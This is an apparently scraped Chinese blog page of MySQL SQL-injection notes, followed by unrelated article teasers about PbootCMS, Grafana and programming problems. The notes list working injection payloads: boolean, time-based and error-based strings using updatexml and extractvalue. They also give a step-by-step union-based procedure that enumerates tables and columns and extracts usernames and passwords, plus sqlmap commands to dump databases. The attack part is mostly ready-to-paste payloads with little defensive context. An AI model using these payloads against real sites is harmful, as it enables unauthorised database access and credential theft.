sql注入-基于MySQL

news/2024/9/30 15:08:39

SQL注入的失败——SQL语句的未知性导致的拼接失败

SQL操作都会导致SQL注入的出现:select,insert,update,delete

数据类型:

  数字型(无符号干扰)——select * from news where id=$id;

  字符型(有符号干扰)——select * from news where id='$id';

  搜索型(有多符号干扰)——select * from news where id like '%$id%'

  框架型(有各种符号干扰)——select * from news where id=('$id');

数据请求方式:

  php:get,post,cookie,request(都接受)

  serveruser_agent,xff,hostrefer(检测csrf)

    用户访问浏览器信息会收集到数据

      改成sql语句

注入方式:

  盲注:布尔盲注,报错盲注,延迟注入

  延时注入:都不需要(不需要回显也不需要数据库进行判断)

    and if(1>2,sleep(1),0);

  报错注入:数据库会进行报错处理

    and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)  0x7e: ~

    and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));  0x5c:/

  布尔注入:需要数据库输出判断  

    and length(database())=7;

    and substr(database(),2,1)='i';  或者  ascii(substr(database(),2,1))=1;(上爆破)

特殊注入:(burpsuite抓包修改)

  宽字节注入:绕字符用的

  cookie注入,user-agent注入,referer注入

  二次注入:插入时有转义函数或配置,后续有利用插入的数据

    insert后进入select或update的功能的代码块

  堆叠注入:通过结束符同时执行多条sql语句

    利用mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行

  带外注入:

    ROOT高权限且支持load_file()

     有部分注入点是没有回显的,所有读取也是没回显的,采用带外
 
手工注入流程:
  首先判断其数据类型:?id=1 and 1=1--+  ?id=1 and 1=2--+
  判断其查询列数:?id=1 order by 3 --+
  判断其回显点:?id=1 union select 1,2,3 --+
  查询版本,用户,所在数据库名:?id=1 union select 1,2,version() --+  ?id=1 union select 1,user(),database() --+
  查询表名:?id=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='/*之前查到的库名*/'--+
  查询字段名:?id=1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='/*之前查到的库名*/' and table_name='推断的表名'--+
  查询数据:?id=1 union select 1,2,group_concat(username,'.',password) from /*表名*/--+
sqlmap注入:
  py sqlmap.py 网址 --current-db
  py sqlmap.py 网址 --tables -"/*数据库名*/"
  py sqlmap.py 网址 --columns -"" -""
  py sqlmap.py 网址 --dump -"" -"" -""

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/66517.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

洛谷题单指南-分治与倍增-P6648 [CCC2019] Triangle: The Data Structure

原题链接:https://www.luogu.com.cn/problem/P6648 题意解读:在一个n行的数字三角形中,求所有边长为k的正三角形最大值之和。 解题思路: 1、枚举法 枚举每一个边长为k的三角形,在其中求max,然后累加,n最多3000,时间复杂度是n^4,显然超时。 2、倍增和ST思想 此题非常类…

确保上传的缩略图在 PbootCMS 中保持清晰

config/config.php 文件中的相关部分:// 缩略图配置 ico => array(max_width => 1920, // 最大宽度1920max_height => // 最大高度不填写代表不限制 ),清除缓存清除系统缓存修改完配置文件后,需要清除系统缓存,确保配置更新生效。 在后台管理中找到“缓存管…

象形闽都 数智榕城 | PostgreSQL中文社区技术沙龙 - 福州站

在数字化浪潮席卷的时代,数据已成为推动社会进步与企业发展的核心动力。福建,作为东南沿海的经济与文化重镇,正以崭新的姿态拥抱数智未来。为促进福建地区数据库技术的交流与发展,我们诚挚邀请您参加“象行闽都,数智榕城 —— PostgreSQL数据库技术沙龙”。活动主题: 象行…

SSL证书必须要买吗?

在当今数字化的时代,网络安全日益成为人们关注的焦点。SSL证书作为一种保障网络安全通信的工具,是否必须购买成为许多人心中的疑问。 对于企业和商业网站来说,购买SSL证书往往是非常必要的。 首先,从用户信任的角度来看,当用户访问一个带有SSL证书的网站时,浏览器地址栏会…

PBOOTCMS的水印功能如何使用?pbootcms设置的水印为何没生效?

在 PbootCMS 中,水印功能主要用于给新上传的图片添加水印。如果你发现开启了水印功能但前端仍然没有水印,可能是因为以下几个原因:只对新上传的图片生效:水印功能仅对新上传的图片生效,之前上传的图片不会自动加上水印。 水印配置未生效:可能是因为水印配置没有正确设置或…

prometheus学习笔记之Grafana 常用操作

一、Panel 设置 1.单位设置2.Panel名称修改3.曲线别名 修改前修改后 4.曲线排序 5.曲线复制6.曲线静默 7.Panel复制 当前dashboard中复制跨dashboard或folder在其他dashboard中操作8.设置告警线设置告警条件其他按提示填写如果触发告警规则 则页面会有提示9.row效果如下:10.自…

pbootcms模板幻灯片调用代码大全

在 PbootCMS 中,模板自带的幻灯片功能可以通过 {pboot:slide} 标签来实现。下面详细介绍该标签的使用方法及其控制参数。 幻灯片标签详解 标签语法html{pboot:slide gid=* num=*}<!-- 幻灯片内容 --> {/pboot:slide}控制参数gid=*分组:必填参数,用于指定需要输出的幻灯…

PbootCMS网站转移后无法打开报错提示“No input file specifed”

检查根目录是不是含有.user.ini文件,有的话删除掉,一般就可以了。如果还不行或者是在本地尝试重启Apache或者Nginx服务。 扫码添加技术【解决问题】专注中小企业网站建设、网站安全12年。熟悉各种CMS,精通PHP+MYSQL、HTML5、CSS3、Javascript等。承接:企业仿站、网站修改…